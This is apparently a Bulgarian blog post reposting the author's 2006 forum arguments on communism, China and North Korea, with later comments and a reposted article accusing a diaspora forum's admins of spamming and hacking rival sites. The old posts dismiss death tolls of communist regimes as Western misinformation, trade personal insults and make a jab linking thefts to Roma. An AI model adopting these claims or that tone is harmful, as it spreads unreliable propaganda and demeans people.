"може ли да приемем че по въпроса за социалното равенство в капитализма на днешния ден се работи по-добре отколкото при "пазарния социализъм"?Ако не - защо?"
ЗАСЕГА. СЛЕД НЯКОЛКО ПЕТИЛЕТКИ НЯМА ДА Е ТАКА, ПОНЕЖЕ НЕЩАТА СЕ ПРОМЕНЯТ ЕЖЕМЕСЕЧНО И ТО В ДОБРА СВЕТЛИНА- смятам ще изчетеш интервюто. ТОВА Е ПРЕХОДНО ЯВЛЕНИЕ. И Е ПРИСЪЩО ОСНОВНО НА СЕЛАТА В КИТАЙ. ЗАСЕГА ПАРТИЯТА СИ Е СПАЗИЛА ВСИЧКИ ОБЕЩАНИЯ И ОСТАВА ДА СЕ ДОИЗПЪЛЯНТ САМО ЩЕ ОКОЛО 30 % от тях! ВСИЧКО Е ПО ПЛАН!
Доста често при споменаване на жертвите на комунизма се отговаря - ами те всички са правили така.Ще се опитам да променя аспекта на въпроса.В едно от многобройните изследвания, което съм дал тук: forum.abv.bg/cgi-bin/showpost.pl?Board=istoria&Number=14673&page=1&view=collapsed&mode=threaded&sb=5#Post14673 са посочени цифровите измерения на жертвите на комунистически престъпления.В различните изследвания в зависимост от използваните методи те варират от 70 до 120 000 000.За въпроса си ще приема минималната цифра.
И така -
Въпрос 3:
Има ли в човешката история друг строй освен комунизма, който за 70 години изследван период 1917-1987г. да е унищожил минимум 70 000 000 души от СОБСТВЕНИЯ си народ?И в името на какво е било всичко това???
"
ВЪПРОСЪТ Е НЕКОРЕКТЕН!
а/ НЯМА ДАННИ ЗА ЖЕРТВИТЕ НА ПО-ОТДАЛЕЧЕНИ ЕПОХИ!
б/ ПРЕДПОСТАВЯШ ОТ НЕЗНАНИЕ ИЛИ ПО ЛОШИ МОТИВИ ЦЕЛЕНАСОЧЕНО ИЗБИВАНЕ НА ТЕЗИ ХОРА!
в/ НИКОЙ НЕ ГИ Е БРОИЛ С ТОЧНОСТ И ПО ПРИНЦИП ЗАПАДЪТ ДАВА ПОГРЕШНИ ДАННИ!
Например от интервюто си видял как са подвели в данните с милионерите, но добре, че ти засегна въпроса, за да имам повод да го посоча. Същото е и с жертвите. Утре могат да кажат, че са били и 1 0000000000000000000000, ти ще повярваш ли?
Нямам време да изпадам в детайлности, но ще поясня, че в днешно време Китай вече не е това, което беше - феодализиране и императоризиране (рефеодализиране и императоризиране) се случва и не мисля, че ще бъде построен не само социализъм, но и капитализъм някакъв, ако това продължи така. Върви се по Севернокорейски или Руски път. Не може да има резонни надежди повече за социализъм.
-
От 2006 и конкретно по социалистически/комунистически тематики
От 2006 и конкретно по социалистически/комунистически тематики. Просто конкретизирам, че да няма повторения.
中共
Sat Mar 25 07:19:04 2006
Отг: Продължение от "Комунизмът-теория и практика" редактиране | oтговор на това съобщение
------------
"Заблудата на един човек няма никакво значение, но когато тя преминава в прокламиране на една тотално дискредитирана идея, според мен си заслужава да се пише по въпроса."
Ако имаш предвид комунистическата идея, тя не е дискредитирана, въпреки опитите, а прогресира! Защо? Защото доказва по-голямата ефективност на СОЦИАЛИЗМА!
1. Единствената социалистическа държава в Африка е сред водещите икономически сили на континента! А се развива доста от скоро!
2. Куба и Северна Корея, макар и под ембарго и с други неуредици (природни и пр.) не паднаха, въпреки прогнозите, а си се развиват и са пред редица несоциалистически държави по ред икономически показатели.
3. Китай е на път да се превърне в сила номер едно в света!
4. Лаос и Виетнам бележат прогрес.
Ето каква е "дискредитацията", просто няма такава.
И то си беше така, но тогава. Сега вече нещата хич не са добре. Китай се императоризира и феодализира (по-точно, както пиша напоследък - рефеодализира и реимператоризира. Либия - ясно на какво се превърна. Северна Корея определено, както съм писал и по-рано, се превърна в монархия от държавно-капиталистически тип. За Лаос, честно казано, макар и да съм толкова наблизо живейки в Китай, не знам какво точно се случва. А Виетнам - ами има си партокрация, наскоро даже смениха (уволниха) президента си, но там положението не е много розово. Куба се капитализира... Като цяло няма много надежди за построяване на истинско социалистическо общество, но има социалистическоподобни като онези, които са толкова богати и уредени, че дори предлагат да се работи само по 4 дена и/или по 4 часа.
"И то точно по начина по който го правя - с факти, източници, изследвания, съпоставки и сравнения."
Дано да си обективен, въпреки лошият ти подход до сега (например използваше социално извратената секта Фалунгун, за да подкрепяш антикомунизма или пък правеше реклама на дрогата, както Алек. Това е недопустимо!).
Дрогите/наркотиците са си бич и е правилно, че са преследвани от законите!!! За сектите - религия ли е, особено пък секта - няма две мнения по въпроса: колкото се може по-надалеч. Обаче това не значи, че трябва да сме винаги съгласни с някой си самообявил се и самозабравил се водач/лидер, особено когато върви против идеите на социализма и превръща всичко в подтисничество, феодализъм, императорство, империализъм и прочие.
Нека да демонстрирам на кратко как може да се въплъти идеята ти за:
"факти, източници, изследвания, съпоставки и сравнения"
1. Факти:
ВЪНШЕН ДЪЛГ НА КАПИТАЛИСТИЧЕСКА ХОЛАНДИЯ:
7 Netherlands $ 1,645,000,000,000 30 June 2005
ВЪНШЕН ДЪЛГ НА СОЦИАЛИСТИЧЕСКИ КИТАЙ:
21 China $ 242,000,000,000 2005 est.
Т.Е. Малка Капиталистическа Холандия е задлъжняла 7 пъти повече от Социалистически Китай, според данни на ЦРУ. Франция е задлъжняла още повече, а САЩ - най-вече! Това е то един от признаците на стария, но актуален термин "загниване на капитализма".
2. Източници - ЦРУ, американски! Колкото и да са антикомунисти и да спекулират с някои данни, нещата си ги дават що-годе показателно.
3. Изследвания.
Примерно изследванията на геополитика Иванджийски, че Китай ще стане Номер едно!
4. Съпоставки и сравнения:
Холандски град:
DEN HELDER
Китайски град:
Чунцин:
Американски град:
Тампа:
Ами да, ама пак - за онова време. По онова време КНР наистина си беше що-годе република, малко или повече социалистическа и т. н., но сега - ами не. Яхна я един, който иска цялата власт и си я получи по един или друг начин... и, ако продължи така, не виждам (не само аз) много добро бъдеще за Китай и особено за китайския народ, защото, все пак, първо е народът (хората), а после всичко останало, което би трябвало да е за тяхно добро.
"С голяма част от мнението ти съм съгласен, но смяташ ли че и през всичкото това време хората са живели еднакво добре?"
А какви са критериите за "ДОБРЕ"? Например някои казват, че е хубаво да има легална дрога и проституция, а други не мислят, че това е най-доброто!
За легалната проституция вече съм на по-либерални позиции, особено след като видях какви проблеми има, когато в даден район няма достатъчно жени и/или самите жени са много претенциозни и избират да са по-скоро няколко с един богат и/или красив, отколкото всяка да е с по един не толкова привлекателен (външно, финансово и пр.)
"Мисля че има, освен ако количествените измерения на човешките жертви за теб нямат значение."
Количеството е несъществен показател. Важни са причините, мотивацията, начините и пр.
Например в Китай се убиват повече престъпници отколкото в Европа. Това лошо ли е?
Не казвам, че количеството няма значение, а че, ако говорим за показатели това не е най-същественият. Все пак има значение качеството. А относно смъртта (смъртното наказние, но не само), не съм вече такъв привърженик или защитник.
-
Вярно че май веч' го няма онуй форумче. Само че аз го имам запазено това. Ще го дам с цензурирани имена, че не се знае кое колко е вярно 'се пак. :D
Да има контент, т'ва е.
"Б. Х. - истината за голямата манипулация
21.07.2006 г. Б.
Модератори на "сайта за взаимопомощ" - Б. Х. пред Б. Писмо на Б. М. от Канада.
Уважаема редакция,
с огромно възмущения ви пиша тези редове, тъй като за пореден път съм отвратен от българския Бай Ганьовски манталитет и поведение, както и от поредната нагла измама и лъжа, която продължава да да съществува - "сайта за взаимопомощ" Б. Х. - един блестящ замисъл, но опорочен и омърсен, превърнат в манипулаторски инструмент на група сребролюбци.
Идеята на Б. Х. ми хареса и с удоволствие започнах да им съдействам. Там всеки трябваше да намери необходимата информация или да помогне с такава на друг българин в чужбина - какво по-добро от това...
Нека започна от самото начало. Роден съм в София, но моята голяма мечта винаги е била да пътувам. Като състезател съм бил от Щатите до Казахстан в почти всички страни, които се намират между тях. Последно се установих в Канада.
С мен се свърза l. - А. Ш., който е администратор на сайта за взаимопомощ. Предложи ми да ръководя форума за Канада, защото не познавал никой друг.
В началото беше супер. Само идеи за развитие и само от време на време се споменаваше за врагове и подобни, което нещо много не разбирах. Не ми беше ясно за какви врагове можеше да става дума. Дойде обаче момента, в който във форума само и единствено пишеха администратори и модератори и си беше една малка комедия. Та се появи една тема в модераторския форум "Интрига за популяризиране на нашия форум". В този форум всеки пишеше какво е направил да "популяризира" форума. Това включваше различни форми на SPAM, flood-ване и т.н. Тогава l. (А. Ш.) се свърза с мен и ми писа, че трябвало да привлечем хора да пишат от различни страни и да правят трафик. Лека-полека се спомена, че имало форуми "врагове", които отказват подадената им ръка. Подадената ръка от Б. Х. всъщност беше - линкове които водят към Б. Х., под формата на инициативи и подписки за паспорти и различни други "бла бла" истории, детски песнички - mp3 (без права да се пускат) и други подобни "гимнастики", които целяха само едно - повече потребители, които да пишат, да правят трафик и присъствието им там да се продава на рекламодатели.
Комерсиализацията на сайта личеше ясно. Въпреки зле прикрития популизъм всеки бе наясно за какво става дума - някой лев отгоре за създателите на сайта. Влизането на пари в сайта е добре по принцип и все ни убеждаваха, че тези пари са за развитие на идеята за взаимопомощ. Дотук добре.
Обаче дойде моментът на "мръсните номера". l. - А. Ш. получи ban, след като се опита да пробута гореспоменатите "пенизи" за отмъкване на потребители в сайта zaedno.de на българите в Германия. Тогава той ме накара да се регистрирам и да пращам лични съобщения на потребителите и да ги подканвам да се включат в нашия форум. След неуспешния опит да се привлекат потребители от този сайт нещата пое "Д. Т." - Т. Д., които каза, че има свои начин да се справи с непокорните администратори и на другия ден форумът беше хакнат. По абсолютно същата схема бяха хакнати сайтовете на bgtoronto.com и този на Б.. В първия форум пишеха общо пет души. Д. Т. - Т. Д. се регистрира и публично им направи демонстрация как си сменя ника с администраторски права и след още малко време форумът им падна. Във форума на Б. хакера отново демонстрира как се влиза с администраторски права и се трие и променя информация, дори заплаши с хакване и след няколко седмици това се случи.
За да се привлекат потребители се хакваха форуми, предлагаха се пиратски филми, музика, програми на потребителите, само и само да пишат в Б. Х.. В същото време администратори и модератори правеха всичко възможно да изгонят потребители, които не мислят като тях по дадени теми. С това идеята за "хелп" от форума на Б. Х. отпадна. Псувни и ругатни се сипеха към всички, които бяха с различно мнение. Много от тези потребители си тръгнаха огорчени. Още по-интересно стана, когато в модераторския форум модераторката на испанския форум бе подтикната да разкрие лични данни за потребител, който се държеше странно. Бе разказано кой е, от кой град е, на колко години е, за семейството му и че имал еди-какви си комплекси. Странна тема за модераторски форум.
За всичко, което не съм харесвал и съм смятал, че е нередно съм писал открито, с което си навлякох омразата на създателите на сайта, за което не ми пука. Аз не мога и не искам да бъда част от това, което правят те. Напсуван и наруган напуснах форума (както повечето бивши потребители). По-късно разбрах, че и модераторката от САЩ също е напуснала. Във форума не пишат и другата модераторка на форума от САЩ, както и на Израел, а този на Холандия бе изгонен, защото им се озъби. Всички тези са интелигентни хора и на всички им стана ясно, че нямат работа на това място и на това ниво на общуване, което предлагаше Б. Х.
Макар и късно, разбрах че идеята за "хелп" я е нямало още при създаването на сайта. Говореше се само за кражба на потребители, за хакване на сайтове, за увеличаване на трафика. По-късно разбрах и за парите които прибира l. - А. Ш. от рекламодатели, и че всичко зависи от трафика и за това той беше най-важен, а не качеството и нивото на общуване.
"Интрига за популяризиране на нашия форум" - роди и идеята за създаване на "Посолство в сянка" и раздухването по БГ-медиите за това. Нападките срещу посланик М. и консул В., всички псевдо акции и инициативи са целяли само едно - по -голям трафик и повече пари от рекламодателите. Още веднъж съм разочарован от българският псевдо патриотизъм, от липсата на морал и от търгашеството.
Разбрах, че поредната хрумка на l. - А. Ш. е създаване на асоциация Б. Х.. Жалко, че много хора ще се подлъжат от благородната идея и ще станат членове. Сигурно и членски внос ще им се събира незнайно за какво. Знайно е само при кого ще отидат парите. Всичко ли е пари? Трябва ли да ползваме благородни идеи и цели за лично облагодетелстване? Трябва ли да манипулираме и заблуждаваме хората? Колко жалко наистина.
Бивш член от екипа на Б. Х,, пожелал анонимност:
Когато ме поканиха да участвам, останах с впечатление, че целта е да стане различен форум - с толерантност към гледната точка на българина в чужбина и причините да замине, да се върне или да не се върне. Очаквах също и че като сме се събрали хора с опит в живота на Запад, атмосферата ще е по-добронамерена и лишена от българско скандалджийство, шуробаджанащина и закостенялост. Някой някога беше написал, че това трябва да е форума, в който хората винаги получават подкрепа и отговор на въпроса си, дори и това да значи модераторите специално да търсят информация, за да помогнат. Хареса ми идеята и лично съм помогнала на няколко души. Случи се дори да ме открие някакво разплакано момиче от САЩ със сериозни проблеми. Но за съжаление толерантността към лоши отношения във форума развали хубавата идея. Доброволно напуснах екипа на модераторите, защото Д. Т. си позволи просташки език с мен, явно чувствайки се недосегаем. Обвини ме в съучастничество с друг, изгонен потребител само защото не бях съгласна с него за начина, по който този потребител беше изгонен. Не мисля, че Т. разбра колко е нередно да псуваш като каруцар и да си мислиш, че това те прави голям мъж, защото не ти харесва нечие мнение. Тогава някои модератори ми писаха и изразиха подкрепа, но по-късно разбрах, че между админите цари приятелство - пият бира заедно, някои са гаджета, познават се от много време и винаги се подкрепят. Разбрах, че гледат на мен като някаква ненормалница, която вдига шум неоснователно, че не оценяват приноса ми към форума (въпреки че в лицето ми всички казваха колко съм била необходима и полезна) и въобще се отнасят пренебрежително към оплакванията ми. След като напуснах, разбрах и че често админите са взимали решения да се хакне този или онзи сайт враг на Б. Х., да се спами на "вражеска територия" и други детинщини.
Коментар
инж. Р.-издател на Б.:
За съжаление съществуват такива хора, с липса на морал, които си позволяват да правят такива неща. Това за мен е чиста форма на престъпление, наречена измама и подвеждане. Гореспоменатите нерегламентирани методи, използвани от "помагачите" от Б. Х. могат да бъдат класифицирани по различни начини от различните законодателства на съответните държави. Моята класификация - срам, братя българи...
Бях наясно какво цели въпросният господин още когато ме помоли за помощ преди създаването на въпросният сайт.
Думите му: "Ще използваме проблемите на хората с визите, ще започнем различни инициативи.Така хората ще започнат да посещават сайта и ще има голям трафик, за които много фирми биха платили за реклама."
С какво и как ще се помогне на тези хора не беше на дневен ред. Важното е да има наивници и да правят трафик. Ха, виж го пък този-хитрец...
Това ме накара да зачеркна този човек и идеята му завинаги от моето съзнание. Селските хитреци са неделима част от българското общество. Едва ли е необходимо да се дава чак такъв голям отзвук на случилото се. Случват се много по-лоши и с по-големи мащаби неща.
Търгаши е имало и ще има. Крадци и измамници е имало и ще има. Нищо ново под небето. Всеки отговаря сам за себе си и всеки има глава на раменете си.
Не бих никога членувал в асоциация или организация, която има общо с горепосочената.
От страниците на Б. ще се опитаме да ви алармираме всеки път, когато се случва нещо нередно и ще се опитаме да бъдем истински полезни, без да се интересуваме с колко ще се увеличат или намалят читателите ни или колко рекламодатели ще привлечем или отблъснем с написаното.
Материал на Б."
Умни неща има написани. Подкрепям.
-
Едно кратко от онова време.
中共
Sat Mar 25 07:29:02 2006
Отг: Продължение от "Комунизмът-теория и практика" редактиране | oтговор на това съобщение
-----
Харесва ми този ник - Дуeйн Джонсън, нали?
Много наш човек, с корени от Изтока!
И много хубаво си схванал методиката на повечето - понеже виждат, че нещата са добре днес, минават на история - кой колко избил. Ама като им се посочи колко са избили техните лични любими странички и им става лошо. А за някой неща даже не са и чували. Но аз съм чел доста история и наука като цяло, та не им давам да минават метър.
If they smell?! What The Rock is COOKING? ;)
Е, да. За съжаление в днешно време нещата не може да се каже, че са добре.
А Скалата (The Rock) се оказа много талантлив човек.
-
Още по Ванговите. Пак от 2006-та.
Sat Mar 25 15:07:13 2006
Отг: Понеже редактиране | oтговор на това съобщение
----
"Отговарям ти кратко, май ти прави кеф да губиш и да злорадстваш с простотии."
Май френд, случайно да не си с температура? При висока температура се появяват микрокръвоизливи в мозъка и се появяват подобни изречения. Или е нещо по-сериозно? Ти губиш по всички пунктове, а си си въобразил, че си победител? А и ти се привиждат простотии. Наистина не си много добре.
"Пазарен социализъм = КАПИТАЛИЗЪМ!"
Сериозно? По тази логика - "Испания = АРЖЕНТИНА!" Нали, Ванго? Така и така не разбираш политиката, да взема да те попрепитам на география. Къде е Патая?
"Северна корея правят атомни бомби, но хората умират от глад.:) Я виж последните данни, колко севернокорейци са избягали на юг? Май не знаеш, а?... Нормално! Такива работи комунистите ги не учат!"
А, Ванго се срамува и откланя темата. Я да ти припомня - ТЕМИЧКАТА БЕШЕ, ЧЕ СЕВЕРНА КОРЕЯ Е ПРЕД РЕДИЦА НЕСОЦИАЛИСТИЧЕСКИ ДЪРЖАВИ, НАЛИ ВАНГО? И какво се оказа според статистиката на ЦРУ? Че е точно така, а ти какво каза? Че било "глупост". И сега се надяваш да отклониш вниманието с други темички. Не става.
"Все още не съм отговорил на Тони. Той знае много неща, даже повече от теб."
О, да, съгласен съм! Особено за вероизповеданието на албанците, за Турция и пр. е голям специалист. ;) Той си знае от "Македония":) Но, в сравнение с тебе - да, по-умно може да се окаже момчето.
"Той не говори с философии и псевдофакти"
За философията малко можете да говорите, за псевдофактите- АМИ ДА! КОЙ БИ КАЗАЛ, ЧЕ МАРКС Е ФАБРИКАНТ, примерно? Или да се изложи толкова гадно за Северна Корея, Либия, диалектиката и пр.?! Само наш Ванго Испански.
Това последното е, защото той пребиваваше тогава в Испания. А един друг форумджия, който беше пък във Франция му казваше "Нашият испански интелигент". Незабравими мигове. :)
", а с дати и цифри,"
КАКВО ЩЕ КАЖЕШ ЗА ЦИФРИТЕ НА БВП на Северна Корея? Нещо не можеш да преглътнеш, нали? А за Либийската фактология нещо да речеш?
"макар и да е малко заслепен от дребни предрасъдъци."
Е, ти си много. Не му бери грижата!
"Май те боли, че не можеш да ми кажеш нищо по тази тема, а Гес?"
Мога да ти кажа за олигофренизма ти в оопределението на партиите, за които ти е казал Борис. Просто не искам да се повтарям с него. Иначе ДОСТА НЕЩА ти казвам и ТИ ПРИПОМНЯМ, а ти проецираш болката си върху мен, френдчо!
"Гесер, чети нещо за маркс, ама да не еписано от съветски и всякакви там болшевишки драскачи история... Тогава можеби ще разбереш някои интересни работи."
ХАХАХА, колкото и да четеш ЗАПАДНИ АВТОРИ, никъде няма да намериш халюцинацията си за "МАРКС- банкера". Обещал съм ти 1000 лева, ако намериш, ама не можеш. Извод? Халюцинираш.
"Либия не е социалистическа страна. Пише го даже по вестниците."
ХАХАХАХАХАХАХА!!! В кои вестници, я дай линкове! Иначе аз пък вярвам повече на Енциклопедиите, отколкото на "вестниците". А ти явно си чел някой халюцинейшън-вестник, а;) Иначе как да приемем, че има чак толкова тъп журналист. И как така забрави на бърза ръка за твоите икономически критерии?
Значи, когато ти говоря за Китай - минаваш на икономика, а, ако е за Либия не става, а?
Ако някой си е помислил, че по-горното е на английски, да кажа, че е английскоподобно, т. е. псевдоанглийско. Ако искате да знаете "халюцинация" на английски се произнася [həˌluːsɪˈneɪʃn] (приблизително - "хълууси-нейшн").
"Либия отрича европейската ценностна система идеологиите от Европа не са и в сметка."
И КАКВО ОТ ТОВА? Северна Корея или Лаос също не ги боли за Европата ти, ама са си социалистически, нали? Ами Куба да не е прегърнала ЕС? Или пък Китай?
Ти вярно бълнуваш, дете! КАК МОЖЕ ТАКОВА НЕЩО? Викаше, че главен признак на идеологията е насилието, а сега пък трябва да приемем, че най-важното за социализма са европейските "ценности". Дай малко по-нормално, става ли?
Някои от съвременните евроцейности се припокриват със социалистическите; други са близки. А отделно има социалистически държави, които само номинално са такива и всъщност са псевдосоциалистически.
"А и още повече, ако продължаваш да твърдиш, че Либия, видиш ли е социалистическа, ама някаква особена социалистическа държава, с някакъв ТРЕТИ вид, разбираш ли, социализъм, ще тикажа, че си абсолютен исторически инвалид, незнам какво изобщо търсиш в тоя форум по история!!!"
Ами по тази логика всички ЦРУ-та, Енциклопедии и самият основател на Либийския социализъм не знаят за какво става дума и са инвалиди. Ванго, не си мисли, че хората са като тебе. И това не е исторически въпрос само.
Ти не разбра ли, че на света няма само социализъм от Сталински тип? Има различни видове социализъм. Асимилирай го, малчо!
"Социализмът е един - издаден е от Карл Маркс през 1848 г."
Издал го е казваш? В какъв тираж? И какво е изданието?
А какво ще кажеш за преиздаването от Ленин и корекциите, които направи, например по въпроса за едновремеността на революцията?
"мечдудругото тази година се смята рожденна за Европейският ( и световният) капитализъм - Пролетта на народите)."
А пък още по-между другото това няма значение за твоето незнание на елементарни неща.
"Всичко останало - пазарен, китайски, титовски, либийски е някаква разклонка от капитализма."
Това е само така за немислещия Ванго. За Енциклопедия Британика не е така. А не знам защо, но аз явно съм се объркал нещо и вярвам повече на Британската енциклопедическа мисъл, а не на наш Ванго от селоград Койнаре. Какъв човек съм само...
Отново казвам, че познавам един интелигентен човек от Койнаре. А по онова време с Ванго така си се заяждахме. Нямам нищо против Койнаре. Наистина е град, макар и малък.
"Въобще няма нищо общо с основните принципи на социализма - трите основни ядра, дето ме пита оня ден."
Аз питах Горския, понеже имаше повече шанс да отговори, ама ти къде се слагаш? Я кажи кои са тези 3-те основни ядра?
"капитализъм, капитализъм, капитализъм!"
Ванго, това истеричност ли е от твоя страна и/или част от твоето магическо мислене? Ти като видя, че с големи букви не става магийката реши да го удариш на мантри! Пак не става, дете! Става не с повтаряне на "заклинания", а с четене. Като за начало прочети за ВИД и РОД и тогава се опитвай да разглеждаш разклоненията на идеи, строеве и системи.
"Комунизъм, такъв какъвто си го е ПРЕДСТАВЯЛ И ПИСАЛ М А Р К С ! А НЕ ЕНГЕЛСТ, ГЛУПАКО, НЕ Е СЪЩЕСТВУВАЛ!"
Тука не разбрах какво казваш.
а/ "Глуапак" си казал на някой, но от 2-ма ни аз не съм, значи си се назовал със собственото си име. Това добре, предвид, че
б/ "ЕнгелсТ" е просто "Енгелс" и е СЪАВТОР, СПОНСОР и ПРИЯТЕЛ на Маркс.
"Самият Карл Маркс говори за Комунизма че е УТОПИЯ, а ти не знаеш ли какво е утопия?..."
Миличко ;), недей така, пак се повтаряш. Казах ти и ще ти повторя - човекът е разсъждавал за ф-а-р възможност на идеята и го е имплицирал в този контекст. А не в пряк смисъл, както ти се иска.
"ф-а-р" = "формална-абстрактна-реална"
"Това в китай може да има нещо извзето от маркзизма, но не е социализъм, още по-малко комунизъм. Комунизъм няма! Толкова ли си промит, бе чедо?... "
Ванченце, детенце недоучило и обречено на вечно незнание, разбира се, че точно аз отчитам ,че комунизмът не е построен. Освен това няма дума "ИЗВЗЕТО".
Какви са тези нови думички, които сътворяваш? Или са по-скоро ненаучени стари??? :)
В Китай, както ти казах, има Социализъм с Китайска специфика, който е един вид пазарен социализъм, който си има вече прецедент в историята. Ако искаш - рочети малко в Енциклопедия Британика, а?
По онова време. Сега вече е реимператоризация и рефеодализация. Не ми се мисли какво може да излезне от всичко това.
"Абсолютни простащини! И смееш да говориш на един правист за право?"
Ванго абсолютните простащини имат един основен ресурс, откакто Дорка и Турчинът се скриха, и той се нарича "Ванго".
А за прависта - смея да ти говоря за право, да! Искаш ли да отворим тема за философия на правото и да те попрепитам малко?
"Ти да не си се побъркал бе!!!!"
Сложи още няколко удивителни знака и се запитай себе си, понеже това е въпрос, който тревожи всички ни тук основно.
"Качествено-решаващата мяра е надхвърлена, но убийството също си има свое качество, не само количество!"
ТОЧНО ТАКА! Виж как като ме четеш внимателно се учиш на малко научни изречения. Бравос, малчо!
"дали един войник на фронта е масов убиец, когато трепе с гаубицата или с бомби десетки и десетки или един терорист, който залага бомба и гърми 100 души в еднин ресторант?"
А така, преоткрил си един въпрос, зададен МНОГО ОТДАВНА от СОКРАТ. Част от майевтиката, ако си чувал.
"Или забива 2 самолета в едни блокове и умират 5000 души, или пуска бомби върху градове, жени, деца, някъде там сред персийската пустиня?"
Да, можеш да си спестиш изрежданията. Разбирам от малко какво искаш да кажеш. Ти за нещо елементарно ще изпишеш един бюлюк байтове!
"Защо за 1 убийство се лежи от 10-20 години, за повече от едно от 30 до животна в ЕС? Къде ти е качествената мяра сега? какво е количеството?"
Качеството е в това, че в ЕС можеш да убиеш 3 000 човека и се оттърваш само с доживотна, а в Китай само за осакатяване може да стигнеш до разстрел. Видиш ли го качеството?
Вече не ги разстрелват, но си го има смъртното наказание в Китай. Аз, след дълги размисли, реших че не е добре да има смъртно наказание - хем не плаши достатъчно престъпниците, т. е. няма силния превантивен ефект, който му предпоставят много от привържениците му, хем че при съдебни грешки, ако убиеш невинен, после няма как да го съживиш, даже и да се осъзнае грешката.
"Имали оправдано убийство или неоправдано убийсвто?"
Има ли оправдан шамар и неоправдан шамар?
Всичко зависи от моралния кодекс.
"Ти чел ли си нещо по въпроса? Преди да ми се правиш на правист, чети нещо за правото, няма да бъдеш поне толкова безобразно-смешен."
Аз съм чел, ама ти не четеш и затова се притесняваш дали ще си вземеш изпитите. Както ти казах - отвори темичка да си поговорим за философия на правото. Ще ми стигнеш до нивото, което демонстрираш тука, да повтаряш по едно и също, въпреки, че ЦРУ, Енциклопедия Британика, Руската Енциклопедия и аз сме срещу теб.
"А за \"убийствата на българската окyпационна армия в македонско по времето на 2.рата световна" - вече ти писах. ТИ НЕ РАЗБИРАШ ОТ ИСТОРИЯ."
Абе има един дето не разбира и почва с "В", а завършва на "АНГО". Познаваш ли го?
"Само представяш от някъде няякви измислени и полуизмислени факти и си развиваш нелогизмъте по тяхното съдържание... Леле, колко си слаб!"
НЕ БЕ, МАЛЧО, ЦИТИРАХ ТИ МАКЕДОНСКАТА ГЛЕДНА ТОЧКА. Нали и те са българи? Значи съм ти цитирал другата българска гл. точка. А ти си слаб, че не виждаш за какво става дума. Ама силен няма и да станеш.
"Виж, говоря ти сериозно, вземи прочети нешо свястно, стига с тия глупости..."
Нещо по -сериозно от Енциклопедия Британика и ЦРУ? ААААААААААААааа, ДА БЕ!!! Вестниците - нали така беше? Аз ти цитирам Британиката, други енциклопедии и ЦРУ-то, а ти ми казваш за ВеСТНИЦИТЕЕЕЕЕЕЕЕЕЕ....Ех, Ванго, Ванго...
"Почна вече като ИванСв.Репин, оня дето твърдеше, че французите са българи..."
ХА! Тъкмо и ти като него! Аз ти давам факти от ЦРУ, Енциклопедия Британика и пр., а ти не приемаш, само пишеш нещата, които приличат на халюцинаторика при треска.
Лек ден, приятелю!
Като става дума за ЦРУ-то, да поясня, че имам предвид известната му "factbook", т. е. "The World Factbook".
+
中共
Sat Mar 25 15:12:52 2006
Отг: 19. май 1934 г. редактиране | oтговор на това съобщение
-----
Честити Рожден Ден, Ванго!
За Монархо-фашизма, ами да, може и да е литературен, ама е правдив. Как да ти кажа - значи има една много голяма фашистка ОС - ------ РИМ - БЕРЛИН - ТОКИО. И България застава на нейна страна. Праща храни на фашистите, дава им коридори, съвместно с тях окупира територии вън от страната, праща хиляди евреи за унищожаване, екзекутира антифашисти, след края на войната е призната за страна загубила войната. Ами фашистките организацийки? Ами закона за защита на нацията - антиеврейския? Ами фашистката идеология (примерно за произхода на българите?) по това време?
Весело изкарване и дано вече с една година по-стар да станеш и по-мъдър!
__________
Относно евреите - научих по-сетне, че тези които не са могли да бъдат спасени (защото е факт, че има и много спасени), в окупираните от Царска България територии, било защото "не е било във възможностите на местната българска администрация да спре депортацията". Става дума за убитите в нацистките концлагери на смъртта около 11 000 евреи, живели на територии на днешна Гърция и днешна Северна Македония, окупирани по онова време от Царство България.
Депортацията, за която става дума, е осъдена през 2013 година от Народното събрание.
За съжаление, обаче, в днешно време има доста антисемити, на които все са им виновни евреите.
Колкото до имало ли е фашизъм в България - всичко зависи от определението и критериите. Като цяло, подобно на демокрацията, има ги тези неща, но в различна степен.
-
Това е друго едно, но пак от 2006. :)
"Стига си ревал, Татар!"
Халюцинирай си, не ми пречиш, Ръбич!
"Кажи сега, кой е по-велик - ти с висшето си философско образование или аз с моите две?"
Какво две имаш? Кози ли? Или котки? (Щото за отявлен зоофил смятам, че отглеждаш нящо такова). Пояснявам, че е понеже пишеше зоофилски стихове срещу мен.
"Или да те питам лятото, когато ще станат 3, тъй де, само една защита ми остана..."
Какво ще защитаваш? Задния двор от циганите ли? По повод многочислените новини за кражби извършвани от хора с ромски произход. Разбира се, крадците не са само роми - не генерализирам.
"Казвай сега, едно философско образование на колко икономически/технически се равнява?"
Техническото и/или икономическото образование е ТЯСНА СПЕЦИАЛИЗАЦИЯ. А, както се знае - тясната специализация е широка кретенизация! Някой го беше писал или казвал по-рано. Смисълът, според мен, не е толкова да обидиш, колкото да подчертаеш, че ако само останеш с тесните специализирани, задълбочени знания и не си разширяваш знанията, то си оставаш ограничен, т. е. за повечето сфери на познание няма да имаш способности, капацитет. Широка кретенизация = широко невежество. Например може да си много добър в отглеждането на животни, но да не знаеш къде е Вануату, какво е тор в математиката и пр., или пък да знаеш цялата география, но да не си наясно кой бозайник може да лети, какъв език се говори в Бразилия и т. н.
Няма лошо човек да е колкото се може по-тясно специализиран, да е с колкото се може по-задълбочени познания и умения в областта, която работи, но не бива да остава само с това, защото в съвременния свят, за добруване, са необходими много повече знания, отколкото само тясно-специализираните.
Въпреки всичко, дай, ако смяташ, че си икономист да те попрепитам малко на икономика, искаш ли?
- Какво отразява Гини-индекса? И, ако е приблизително-равен на 1, какво значи? Днес го пишат като "Джини", както и се произнася на английски. "Джини индекс" (или "Джини коефициент").
- Кое е по-важно за състоянието на държавата - АБСОЛЮТНИЯ БВП или ПЕР КАПИТАТА?
Ако БВП - ЗАЩО? АКО ПЕР КАПИТА - ЗАЩО? Тук става дума за "на глава", т. е. на глава от населението.
- КАКВО Е "ДЕФЛАЦИЯ"?
По онова време малко трудно се справяха с търсачките; сега и да питаш някой онлайн, на бърза ръка ще ти копипейстне нещо и, ако не го провериш и видиш, че е копипейстнато, то може и да повярваш, че е образован. ;D
"Моля те, продължавай със стила "теза-антитеза", наистина ме забавляваш!"
Хъхъхъхъ >:) Младежо, най-важното е СИНТЕЗАТА, която ти не възприемаш. И няма как ,след като не си и чувал за СНЕМАНЕ /справка - Хегел/.
